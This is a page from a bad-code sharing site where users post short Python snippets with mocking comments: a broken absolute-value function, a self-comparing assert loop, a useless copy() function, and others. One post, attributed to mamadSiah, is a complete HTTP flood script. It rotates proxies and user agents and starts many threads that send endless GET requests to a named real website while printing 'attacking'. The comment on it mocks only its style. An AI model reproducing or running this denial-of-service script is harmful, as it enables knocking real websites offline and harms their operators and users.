def absolute_value(value):
    if str(value)[0]=='-':
        value = -1 * value
        return value
    else:
        return value
By Random student of algorithms., 2017-12-12 04:32:36
for module in next_possible_modules: 
  import math; math.factorial(40000) # approx. a 1 second operation 
  end_time = start_time + timedelta(minutes=module.duration) 
By Anonymous, 2017-12-12 20:23:37
try:
    self._update_plan()
except Exception as e:
    raise Exception('{0}'.format(e))

RIP debuggability

By Anonymous, 2017-12-12 05:22:22
for data1, data2 in zip(results, results[1:]):
    assert data1 <= data1
    if data1 == data1:
        assert data1 >= data1

A nice loop for making sure that data1 is equal to data1!

By 1133, 2018-12-10 14:43:50
# troche rak, ale jeszcze to jakos poprawie. JAKOS.
try:
    if field.related.parent_model._meta.module_name == u"userprofile":
        new = u"%s" % getattr(obj, field.name).get_full_name()
        original = u"%s" % getattr(org_obj, field.name).get_full_name()
    else:
        raise Exception('to mialo tak zrobic jak cos')
except:
    ...

code written on the train, wtf I was thinking about?!

By chleb, 2015-10-28 16:25:42
def copy( variable ):
    return variable

Decade old code, used in 2 places to "copy" a float and a string. No one wants to touch the working code.

By Anonymous, 2017-12-12 13:46:40
for x,x1 in enumerate(hack):
 
        if hack[x] in letters:
            exception +=1

ffs why

By just why, 2018-02-05 01:25:30
def sho_est(request):
    if not request.user.is_superuser and not request.user.is_staff and not request.user.is_university:
        raise Http404
    data = ''
    if request.content_type == 'application/x-www-form-urlencoded' and request.method == 'POST':
        user_detail = request.POST.get('user_detail', None)
        if user_detail:
            if request.user.is_superuser or request.user.is_staff:
                credito = Credit.objects.get(pk=user_detail)
                fecha_apronacion = 'Pendiente'
                estado_firma = 'Pendiente'
                estado_cuota = 'Pendiente'
                if credito.created_at:
                    fecha_apronacion = credito.created_at.strftime('%Y-%m-%d')
                if credito.is_iou_signed:
                    estado_firma = 'Firmado'
                if credito.is_retainer_paid:
                    estado_cuota = 'Paga'
                reg_amr_due = """
                <tr style="border: 1px solid black; padding: 5px;">
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">{period}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">{due_amount}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">{due_loan_amount}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">
                    {due_tech_amount_due_surety_amount_due}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">{due_interest_amount}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">
                    {due_fines_arrears_amount_due_interest_arrears_amount}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: left;">{days_in_arrears}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: left;">{fullfilment_date}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: left;">{status}</td>
                  </tr>
                  """
                str_amr_due = ""
                dic_ver = {}

Fuck Yeah

By rootweiller, 2020-01-15 04:09:48
zipped_file.extractall(f'{file_path}')
zipped_file.close()
By Anonymous, 2017-12-19 10:29:52
    if (SelectionAndTimeData[1] < 2000 or \
        SelectionAndTimeData[2] < 1 or SelectionAndTimeData[2] > 12 or \
        SelectionAndTimeData[3] < 1 or SelectionAndTimeData[3] > 31 or \
        SelectionAndTimeData[4] < 0 or SelectionAndTimeData[4] > 24 or \
        SelectionAndTimeData[5] < 0 or SelectionAndTimeData[5] > 60 or \
        SelectionAndTimeData[2] < 0 or SelectionAndTimeData[2] >60):   
        
        print('***************************************************************************')
        print(' Entered date is not valid')
        print('****************************************************************************')
By loopyroberts, 2017-12-12 22:55:56
{k: v for d in [{ key: { 0: x[0], } for key in x["name"] } for x in items] for k, v in d.items()}
By nooooooo, 2018-01-02 14:54:31
class vggNet(nn.Module):
    def __init__(self, pretrained=True):
        super(vggNet, self).__init__()
        self.net = models.vgg16(pretrained=True).features.eval()

    def forward(self, x):


        out = []
        for i in range(len(self.net)):
            #x = self.net[i](x)
            x = self.net[i](x)
            #if i in [3, 8, 15, 22, 29]:
            #if i in [15]: #提取1,1/2,1/4的特征图
            if i in [8,15,22]: #提取1,1/2,1/4,1/8,1/16
                # print(self.net[i])
                out.append(x)
        return out

Some creepy feature extraction code I found attached to a research paper.

Features:

  • the "pretrained" parameter it's not actually used.
  • Just works (not so sure about that) with a vgg16, what if I want to use any other model?
  • They provided a spare copy of line 12, in case you lose one.
  • You can select a custom combination of layers by uncommenting the right if statement. A chinese explanation follows. Sometimes.
  • Why use pytorch hooks when you can write a 20+ lines class each time you need it?
By Baichuan Huang, 2021-05-21 19:21:58
def isBool(l):
    if l != True or l != False:
        return False
    return True
By mamadSiah, 2021-04-27 16:13:17
import httpx
import random
import threading
site = 'https://sheesh.rip/'
Proxfile = 'http.txt'
users = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 10.0; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 11.3; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (Android 11; Mobile; LG-M255; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:87.0) Gecko/87.0 Firefox/87.0',
'Mozilla/5.0 (Android 11; Mobile; rv:85.0) Gecko/85.0 Firefox/85.0'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4820.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.4.727 Yowser/2.5 Safari/537.36',
'Mozilla/5.0 (X11; CrOS x86_64 14268.67.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.111 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.50',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62'
]
def main():
    Proxy = random.choice(list(open(Proxfile)))
    proxies = {'http://': 'http://'+Proxy}
    headers = {'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.5','user-agent':random.choice(users),'X-Requested-With': 'XMLHttpRequest'}
    with httpx.Client(http2=True, headers=headers,proxies=proxies,timeout=10.0) as client:
        while True:
            try:
                for y in range(50):
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
            except:
                    pass


while 1:
    print('attacking', site)
    for i in range(50):
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()

my eyes are bleeding

By @o_SKID, 2022-01-27 22:46:24
from itertools import combinations as comb
from functools import reduce
  
def all_arrangements(k):
	m=k*(k+1)/2
	m_bits_on=set([tuple(reduce(lambda x,y:x[:y]+[1]+x[y+1:],c,[0]*(2*m+1))) for c in comb(range(2*m+1),m)])
	return set([tuple(sorted(filter(lambda i:i>0,reduce(lambda x,y: x+[y] if y==0 else x[:-1]+[x[-1]+1,],p,[0])))) for p in m_bits_on])

Returns all arrangements in the Bulgarian solitaire game with k piles https://en.wikipedia.org/wiki/Bulgarian_solitaire

By Uri Goren, 2017-12-13 11:48:22